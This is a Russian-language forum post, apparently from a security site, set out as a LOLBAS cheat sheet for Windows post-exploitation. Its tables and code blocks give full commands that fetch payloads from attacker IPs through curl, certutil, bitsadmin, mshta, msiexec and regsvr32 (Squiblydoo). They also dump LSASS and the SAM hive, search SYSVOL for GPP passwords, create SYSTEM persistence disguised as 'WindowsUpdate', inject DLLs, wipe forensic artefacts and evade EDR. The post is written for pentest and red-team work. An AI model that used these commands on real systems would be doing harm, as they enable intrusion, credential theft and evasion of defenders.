Заметка LOLBAS шпаргалка: команды пост-эксплуатации Windows без сторонних инструментов

Исследователь безопасности за тёмным столом с двумя мониторами: на экранах — терминал Windows с зелёным текстом и командная строка. Бирюзовый свет мониторов освещает худи и стол.


Справочник для red team операторов и пентестеров, у которых EDR (CrowdStrike Falcon, Defender for Endpoint) прибил весь привычный инструментарий, а доступ к cmd/PowerShell от непривилегированного пользователя - есть. Windows 10/Server 2016+, AppLocker с дефолтными правилами. Знакомая ситуация?

Суть простая: зачем тащить на хост что-то своё, если в самой винде лежит полный набор для загрузки, выполнения и закрепления? Microsoft сама положила всё нужное - мы просто пользуемся.

Где не сработает: системы с WDAC в enforce-режиме с кастомными политиками - часть техник не пройдёт. На Server Core без GUI mshta и hh.exe банально отсутствуют - проверяй перед тем, как строить цепочку.

Все команды - из официального проекта LOLBAS. ATT&CK-маппинг указан для каждой техники.

Основные команды​

КомандаФлаги / параметрыНазначение / ATT&CK
certutil.exe-urlcache -split -f http://IP/file.exe C:\Temp\file.exeЗагрузка файла (wget-замена). T1105, T1564.004. Детектируется почти всеми EDR - в 2024+ это ловушка, а не инструмент
certutil.exe-encode file.exe file.b64 / -decode file.b64 file.exeBase64 encode/decode пейлоада. T1027.013, T1140, T1564.004
bitsadmin.exe/create job1 && bitsadmin /addfile job1 http://IP/f.exe C:\Temp\f.exe && bitsadmin /resume job1 && bitsadmin /complete job1Фоновая загрузка через BITS. T1105, T1218, T1564.004. Работает даже при ограниченном outbound
mshta.exehttp://IP/payload.htaВыполнение удалённого HTA (VBScript/JScript). T1218.005, T1105. Обходит AppLocker по умолчанию
regsvr32.exe/s /n /u /i:http://IP/file.sct scrobj.dllSquiblydoo - загрузка и выполнение SCT-скриптлета. T1218.010. Обход AppLocker
rundll32.exeC:\windows\system32\comsvcs.dll, MiniDump <LSASS_PID> C:\Temp\lsass.dmp fullДамп LSASS без Mimikatz. T1218.011, T1564.004; T1003.001 (credential access). Требует SeDebugPrivilege
msiexec.exe/q /i http://IP/payload.msiТихая установка MSI с удалённого URL. T1218.007
wmic.exeprocess call create "cmd /c whoami > C:\Temp\out.txt"Выполнение команды через WMI. T1047. По LOLBAS: T1105, T1218, T1564.004
schtasks.exe/create /tn "Update" /tr "cmd /c payload.exe" /sc onlogon /ru SYSTEMPersistence через задачу планировщика. T1053.005
msbuild.exeC:\Temp\payload.csprojКомпиляция и выполнение C# inline. T1127.001, T1036. Обход AppLocker
InstallUtil.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Temp\payload.dllВыполнение .NET assembly через Uninstall-метод (payload с классом [RunInstaller(true)], унаследованным от Installer). T1218.004, T1105. Обход AppLocker. Указывать полный путь к InstallUtil и DLL
forfiles.exe/p C:\Windows\System32 /m notepad.exe /c "cmd /c payload.exe"Proxy-запуск через forfiles. T1202, T1564.004. Обходит parent-process мониторинг
mavinject.exe<PID> /INJECTRUNNING payload.dllDLL-инъекция в живой процесс. T1218.013. Использовался Mustang Panda (Earth Preta)
reg.exesave HKLM\SAM C:\Temp\sam.bak (+ SYSTEM, SECURITY)Дамп SAM/SYSTEM для офлайн-крека. T1003.002, T1564.004
findstr.exe/S /I cpassword \\DC\SYSVOL\*.xmlПоиск GPP-паролей в SYSVOL. T1552.001, T1105, T1564.004
curl.exe-o C:\Temp\file.exe http://IP/file.exeЗагрузка файла (Win10 1803+, нативный). T1105. EDR-правила на curl менее зрелые, чем на certutil

Частые сценарии​

Загрузка пейлоада в обход детекта certutil​

certutil -urlcache в 2024+ - это как кричать «я здесь» в тихом офисе. Каждый уважающий себя EDR на это реагирует. Переключаемся на curl.exe (нативный с Win10 1803) или BITS.
Код:
curl.exe -s -o C:\Windows\Temp\update.exe http://192.168.1.100/beacon.exe
В логах появится curl.exe с сетевым соединением - куда менее сигнатурно. А BITS-вариант вообще работает через svchost - ещё тише. Я начинаю с curl, и только если его нет (старые билды) - иду в bitsadmin.

Дамп LSASS без Mimikatz (T1003.001)​

Mimikatz заблокирован, а SeDebugPrivilege есть - классика. Используем comsvcs.dll через rundll32. Нужен elevated-контекст (High Integrity Level, не просто членство в Administrators - это частая ошибка).

Важный момент: MDE детектирует сигнатуру rundll32 + comsvcs.dll + MiniDump как Behavior:Win32/LsassDump.A ещё с 2022 года. Если на хосте MDE - этот трюк, скорее всего, уже не тихий. Для тихого дампа стоит посмотреть в сторону PPLFault или NanoDump.
Код:
rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump 672 C:\Windows\Temp\lsass.dmp full
PID lsass получаем через tasklist /fi "imagename eq lsass.exe". Дамп забираем офлайн и парсим Mimikatz/pypykatz локально - на хосте ничего не крутим.

Persistence через schtasks без PowerShell (T1053.005)​

PowerShell заблокирован или логируется до последней запятой - чистая cmd-persistence.
Код:
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\beacon.exe" /sc onlogon /ru SYSTEM /f
Задача стартует от SYSTEM при логоне любого пользователя. Флаг /f перезаписывает существующую задачу без промпта. Имя «WindowsUpdate» - банально, но в реальном планировщике среди десятков задач теряется нормально.

Squiblydoo: обход AppLocker через regsvr32 (T1218.010)​

AppLocker default rules покрывают EXE/DLL/Script/MSI, но COM-скриптлеты через scrobj.dll - мимо контроля. В этом и фокус Squiblydoo.

1776713351774.webp


Код:
regsvr32.exe /s /n /u /i:http://192.168.1.100/payload.sct scrobj.dll
SCT-файл содержит JScript/VBScript. На диск ничего не пишет. Работает потому, что AppLocker script rules покрывают только .ps1/.vbs/.js/.cmd/.bat из файловой системы. SCT-скриптлеты, подгружаемые regsvr32 через scrobj.dll из URL, под этот контроль не попадают.

Но есть нюанс (и он существенный): в WDAC с включённым Script Enforcement этот bypass не пройдёт. И большинство современных EDR уже хорошо знают эту технику - regsvr32 с URL в аргументах = high-confidence alert. Проверяй на стенде перед боевым применением.

Gotchas & подводные камни​

Тут собраны грабли, на которые наступают регулярно. Некоторые - очевидные, но именно очевидные вещи забываются в 3 часа ночи на проекте.
  • certutil -urlcache - детектируется практически всеми EDR в 2024+. Последний вариант, не первый. Или для сред вообще без EDR.
  • rundll32 + comsvcs MiniDump - требует SeDebugPrivilege и elevated-контекст (High IL). Из non-elevated cmd даже у local admin - Access Denied. MDE детектирует как Behavior:Win32/LsassDump.A.
  • mshta.exe - отсутствует на Server Core и некоторых hardened-образах. Проверяй наличие до включения в цепочку, иначе вся атака рассыпается на первом шаге.
  • wmic.exe - deprecated с Windows 10 21H1; на Windows 11 24H2+ и Server 2025 удалён из базовой поставки (доступен как Feature on Demand). На 22H2/23H2 ещё живой. На свежих системах проверяй через wmic /? или используй Invoke-CimMethod.
  • mavinject.exe - целевой процесс должен уже работать (/INJECTRUNNING). Инъекция в PPL-процессы не пройдёт.
  • schtasks /ru SYSTEM от непривилегированного пользователя - ошибка. Нужны права администратора.
  • msbuild.exe - в новых версиях Windows логируется через ETW даже без Sysmon. Считай, что SOC это видит.
  • bitsadmin - оставляет артефакты в %ALLUSERSPROFILE%\Microsoft\Network\Downloader\. Чисти: bitsadmin /list /allusers + bitsadmin /cancel <JobID>. Забудешь - форензик найдёт.
  • findstr по SYSVOL - работает только если GPP-пароли не удалены (MS14-025). В современных AD - редкость. В legacy-средах (а их больше, чем хочется думать) - регулярно.
  • regsvr32 Squiblydoo - хорошо сигнатурирован. Любой regsvr32 с URL в аргументах = high-confidence alert в большинстве SIEM.

Quick-reference card​

ЗадачаКоманда
Загрузка файлаcurl.exe -o C:\Temp\f.exe http://IP/f.exe
Загрузка (альт.)certutil -urlcache -split -f http://IP/f.exe C:\Temp\f.exe
Дамп LSASSrundll32 comsvcs.dll, MiniDump <PID> lsass.dmp full
Выполнение .NET (Uninstall bypass)C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Temp\payload.dll
Persistenceschtasks /create /tn "X" /tr "payload.exe" /sc onlogon /ru SYSTEM /f
AppLocker bypassregsvr32 /s /n /u /i:http://IP/f.sct scrobj.dll
GPP-паролиfindstr /S /I cpassword \\DC\SYSVOL\*.xml
DLL-инъекцияmavinject <PID> /INJECTRUNNING payload.dll

Вопрос к читателям​

При работе с rundll32.exe comsvcs.dll, MiniDump для дампа LSASS - какой процесс используете как «прокси» для снижения шума в EDR-телеметрии? Часть операторов инжектируется в svchost.exe перед вызовом, другие работают напрямую из cmd.

Меня интересует конкретика: на каком EDR (CrowdStrike, MDE, SentinelOne) и при каком уровне политики (detect-only vs prevent) удавалось пройти тихо с прямым вызовом rundll32 без предварительного инжекта? Какой parent process в цепочке оказался наименее триггерным?
 
Последнее редактирование модератором:
  • Нравится
Реакции: JackSparrow и Marylin
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab